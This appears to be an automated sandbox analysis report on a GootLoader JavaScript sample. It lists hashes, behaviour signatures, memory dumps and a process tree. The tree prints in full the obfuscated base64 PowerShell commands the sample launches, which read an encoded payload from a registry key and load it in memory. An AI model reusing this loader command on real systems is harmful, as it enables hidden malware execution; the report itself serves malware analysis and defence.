58105e33f351cfa7bde0c3c4dda630379f0f71ddf8dc2a1ce63ea194607f3551

General

Target

gootloader-payload.js
Size

245KB
MD5

3793a0bc98b744d1ad1a41cad211c08d
SHA1

69d470c25bef8d7185263a8288114db3903979e5
SHA256

58105e33f351cfa7bde0c3c4dda630379f0f71ddf8dc2a1ce63ea194607f3551
SHA512

e18b1f47db6efe21b78c81c05cb18ffbe73e3238a999858331be39a35f1548f975098ff81852f0637e9ee9170c43c0b0d8b63977d805717b7dc9333508a93b74
SSDEEP

1536:WRml64QvRDKbimZOQyXjdBMWxXJUGkJPZF40nuOMdo4JpqU1vmROQxB/Nfr27NV5:ShPnluOo3xBX0iRSMzelxUtIATOCsd

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1928	powershell.exe
1852	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1852	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 1928	1884	wscript.exe	27
PID 1884 wrote to memory of 1928	1884	wscript.exe	27
PID 1884 wrote to memory of 1928	1884	wscript.exe	27
PID 1928 wrote to memory of 1852	1928	powershell.exe	29
PID 1928 wrote to memory of 1852	1928	powershell.exe	29
PID 1928 wrote to memory of 1852	1928	powershell.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\gootloader-payload.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "/"e" M"gA5ADgANwA4ADUAM"QA5AD"UA"OwBzAG"wAZQ"BlAHA"AIAA"tAHMAIAA"3ADE"AO"wAkAGcAawB3AD0A"RwBlAHQ"A"LQBJAH"QAZQB"t"AFAAcgB"vAHA"AZQByAH"QAe"Q"AgAC"0AcABh"AHQAa"AAgACg"AIgBoAGsAIgA"rACIAYw"B"1AD"oAXABz"AG8A"Zg"Ai"ACsAI"gB0A"HcAIgArACI"AYQByAGU"A"XAB"tAGkAYwAiACsAIgBy"AG8AcwAi"ACsAIgBv"A"G"YAdABc"ACI"AK"wBbAEUAb"gB2AGkAcgB"vA"G4"AbQBl"AG"4"A"dABd"A"Do"AOgAoACIAdQB"zAGUAIg"Ar"A"CI"A"c"gBuAC"IA"K"w"Ai"A"GEAbQ"Bl"ACIAKQArACI"A"MAA"iACkAOwBmAG8Ac"gA"gA"Cg"AJA"BjAH"U"APQAwADsAJA"BjAHUAI"AAt"AGwAZ"QAgADcAMQAwADsA"JABj"AHU"A"KwA"rACkAewB"U"AHI"AeQ"B7A"C"QAZgB5"ACsA"PQAkAGcAawB3AC4"AJ"ABjAHU"AfQ"BDAGEAdABjAGgAewB9A"H"0AOwAkAGMAdQA9ADAAOw"B3"AGg"AaQBsAGUA"K"AAkA"HQAc"gB1AGUAKQB"7"ACQ"AY"wB1ACs"AK"wA7ACQAaw"BvA"D0AWwB"tAG"EAdA"BoAF0AOgA6ACgAIgBzAH"E"A"Ig"ArACIAcgB0ACIAKQA"oACQAY"wB1ACkA"OwBpAGYAKAAkAGsAbwAgAC"0A"ZQBxACAAMQAwADAAMA"ApA"H"sAYgB"yAG"UAYQBrAH0A"fQ"Ak"AHEAY"gByA"D0AJ"A"BmAHkALgByAGUAcABs"AGEAYwBlA"CgAI"g"AjACIALAA"kAGsAbwApADsAJA"B"p"A"HkAYQ"A9AFsA"YgB5AHQAZQBbAF0"AXQA6ADoA"KAAiA"G4A"ZQA"iACs"AIgB3A"CIAKQ"AoA"CQAcQ"BiA"H"IA"Lg"BM"AGUAbgBn"AHQAaAAv"A"DI"AKQA7AGYA"bwBy"ACgA"JA"B"jAHU"AP"Q"AwADsAJA"BjAHUAIAA"tAGw"AdAAgACQAcQ"B"iAH"IALgBMAGU"Ab"gB"nA"HQ"Aa"A"A"7ACQ"AYwB1"ACsAPQAyACkAew"AkAGkAeQBh"AFs"AJABjA"H"UA"Lw"AyAF0APQBbAGM"Abw"BuAH"YA"ZQBy"AHQAXQ"A6ADo"A"K"AA"i"A"FQ"Abw"BCACIAKw"AiA"HkAdABl"A"CIAKQAoA"C"Q"AcQB"iAHI"A"LgBTAHUAYgB"zAHQAcgBpA"G"4AZwA"oA"CQ"AY"wB1AC"wAMgAp"ACwAKAAyA"Co"AO"AA"pAC"kAf"QBbAHIAZ"QBm"AGw"A"ZQBjA"HQA"aQB"vA"G4ALgBhA"H"MA"cwBl"AG"0AY"g"BsAH"kA"XQA6AD"o"A"KAAiAEwAbwAiAC"sAI"gBhAGQAIgA"pACgAJABpAHk"AYQApADs"AWwBPAHAAZQBu"AF0"AOgA6ACgA"IgBUAGUAI"gArACIAcwB0ACIAKQAoACkAOw"A5ADYAMQA4ADIAM"AA5ADA"ANwA7A"A==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /e MgA5ADgANwA4ADUAMQA5ADUAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAGcAawB3AD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgAoACIAdQBzAGUAIgArACIAcgBuACIAKwAiAGEAbQBlACIAKQArACIAMAAiACkAOwBmAG8AcgAgACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAZQAgADcAMQAwADsAJABjAHUAKwArACkAewBUAHIAeQB7ACQAZgB5ACsAPQAkAGcAawB3AC4AJABjAHUAfQBDAGEAdABjAGgAewB9AH0AOwAkAGMAdQA9ADAAOwB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQB7ACQAYwB1ACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAYwB1ACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAHEAYgByAD0AJABmAHkALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApADsAJABpAHkAYQA9AFsAYgB5AHQAZQBbAF0AXQA6ADoAKAAiAG4AZQAiACsAIgB3ACIAKQAoACQAcQBiAHIALgBMAGUAbgBnAHQAaAAvADIAKQA7AGYAbwByACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAdAAgACQAcQBiAHIALgBMAGUAbgBnAHQAaAA7ACQAYwB1ACsAPQAyACkAewAkAGkAeQBhAFsAJABjAHUALwAyAF0APQBbAGMAbwBuAHYAZQByAHQAXQA6ADoAKAAiAFQAbwBCACIAKwAiAHkAdABlACIAKQAoACQAcQBiAHIALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwB1ACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABpAHkAYQApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA5ADYAMQA4ADIAMAA5ADAANwA7AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
194783cfed5b69a042177d40c01765a5

SHA1
9891e4352f8183ef98c52a697c3517f221e00656

SHA256
88db0219d8c945d21dd4572acef9e03b90b2a456748c69ddb5644e5c5f16019b

SHA512
47f9c1c89de02261b8eadbf138717a23f1b8892e3114a7a710bbdd3d8cb1051cbcd7aaa80634fea111c34ad677afe6437eaf2f19fbff9c67bc835f1053240e26

Download Submit
memory/1852-64-0x000007FEF3850000-0x000007FEF43AD000-memory.dmp

Filesize
11.4MB

Download
memory/1852-68-0x00000000027BB000-0x00000000027DA000-memory.dmp

Filesize
124KB

Download
memory/1852-67-0x00000000027B4000-0x00000000027B7000-memory.dmp

Filesize
12KB

Download
memory/1852-66-0x00000000027B4000-0x00000000027B7000-memory.dmp

Filesize
12KB

Download
memory/1852-63-0x000007FEF43B0000-0x000007FEF4DD3000-memory.dmp

Filesize
10.1MB

Download
memory/1884-54-0x000007FEFB5C1000-0x000007FEFB5C3000-memory.dmp

Filesize
8KB

Download
memory/1928-58-0x000007FEF3850000-0x000007FEF43AD000-memory.dmp

Filesize
11.4MB

Download
memory/1928-65-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1928-59-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1928-57-0x000007FEF43B0000-0x000007FEF4DD3000-memory.dmp

Filesize
10.1MB

Download

Analysis

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